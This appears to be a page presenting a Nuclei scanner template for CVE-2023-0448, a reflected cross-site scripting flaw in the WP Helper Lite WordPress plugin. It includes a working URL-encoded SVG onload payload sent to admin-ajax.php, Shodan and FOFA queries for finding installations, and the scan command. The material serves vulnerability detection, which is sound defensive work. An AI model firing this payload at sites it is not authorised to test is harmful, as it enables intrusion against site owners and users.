WP Helper Lite < 4.3 - Cross-Site Scripting

ID: CVE-2023-0448

Severity: medium

Author: ritikchaddha

Tags: cve,cve2023,wordpress,wp,wp-plugin,wpscan,xss,wp-helper-lite,matbao

Description

The WP Helper Lite WordPress plugin, in versions < 4.3, returns all GET parameters unsanitized in the response, resulting in a reflected cross-site scripting vulnerability.

YAML Source

id: CVE-2023-0448

info:
  name: WP Helper Lite < 4.3 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The WP Helper Lite WordPress plugin, in versions < 4.3, returns all GET parameters unsanitized in the response, resulting in a reflected cross-site scripting vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: Fixed in version 4.3 and above
  reference:
    - https://wpscan.com/vulnerability/1f24db34-f608-4463-b4ee-9bc237774256
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0448
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/JoshuaMart/JoshuaMart
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-0448
    cwe-id: CWE-79
    epss-score: 0.00119
    epss-percentile: 0.46131
    cpe: cpe:2.3:a:matbao:wp_helper_premium:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: matbao
    product: wp_helper_premium
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/wp-helper-lite
    fofa-query: body=/wp-content/plugins/wp-helper-lite
    publicwww-query: "/wp-content/plugins/wp-helper-lite"
  tags: cve,cve2023,wordpress,wp,wp-plugin,wpscan,xss,wp-helper-lite,matbao

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=surveySubmit&a=%22%3E%3Csvg%20onload%3Dalert%28document.domain%29%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains(body, "><svg onload=alert(document.domain)>")'
          - 'contains(body, "params\":{\"action")'
        condition: and
# digest: 4b0a0048304602210093f998173be4917e8553f840b6e05784e233f9c2985117036c3f0a5371460ed6022100909d2ebd11a44fd0f1fad395da6d94a50dc6c223566d384c05533ca7bbd1dc1f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-0448.yaml"

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